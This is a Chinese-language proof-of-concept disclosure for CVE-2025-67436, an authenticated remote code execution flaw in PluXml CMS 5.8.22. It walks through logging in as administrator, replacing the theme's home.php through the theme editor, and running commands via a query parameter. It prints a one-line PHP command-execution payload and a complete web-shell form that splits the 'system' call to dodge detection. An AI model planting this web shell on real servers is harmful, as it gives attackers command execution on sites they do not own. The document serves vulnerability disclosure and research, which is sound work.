CVE-2025-67436

PluXml CMS 5.8.22 中的认证远程代码执行(RCE)

研究人员：Chowdhury Faizal Ahammed

安装

git clone https://github.com/pluxml/PluXml.git
cd PluXml
ddev config --project-type=php --php-version=8.1 --docroot=.
ddev start

概念验证

逐步利用过程

认证：使用有效的管理员凭据登录 PluXML 管理面板 导航到主题编辑器：

访问管理仪表板 导航到：主题 → Home.php → 编辑

注入恶意载荷：

• 将 home.php 中的现有内容替换为 PHP web shell

• 示例载荷：<?php system($_GET['cmd']); ?>

• 保存修改后的文件

触发执行：

访问网站的主页 注入的 PHP 代码以 Web 服务器权限执行

• 可通过以下 URL 执行远程命令：http://target.com/?cmd=whoami

反向 Shell

Webshell 载荷

<html>
  <body>
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
      <input
        type="TEXT"
        name="cmd"
        autofocus
        id="cmd"
        size="80"
      >
      <input
        type="SUBMIT"
        value="Execute"
      >
    </form>

    <pre>
<?php
if (isset($_GET['cmd'])) {
    $func_name = "sys" . "tem";
    $func_name($_GET['cmd']);
}
?>
    </pre>
  </body>
</html>

参考资料

• CVE-2025-67436: https://nvd.nist.gov/vuln/detail/CVE-2025-67436
• PluXML 官方网站: https://www.pluxml.org/
• PluXML GitHub 仓库: https://github.com/pluxml/PluXml
• OWASP Top 10 - A03:2021 注入: https://owasp.org/Top10/A03_2021-Injection/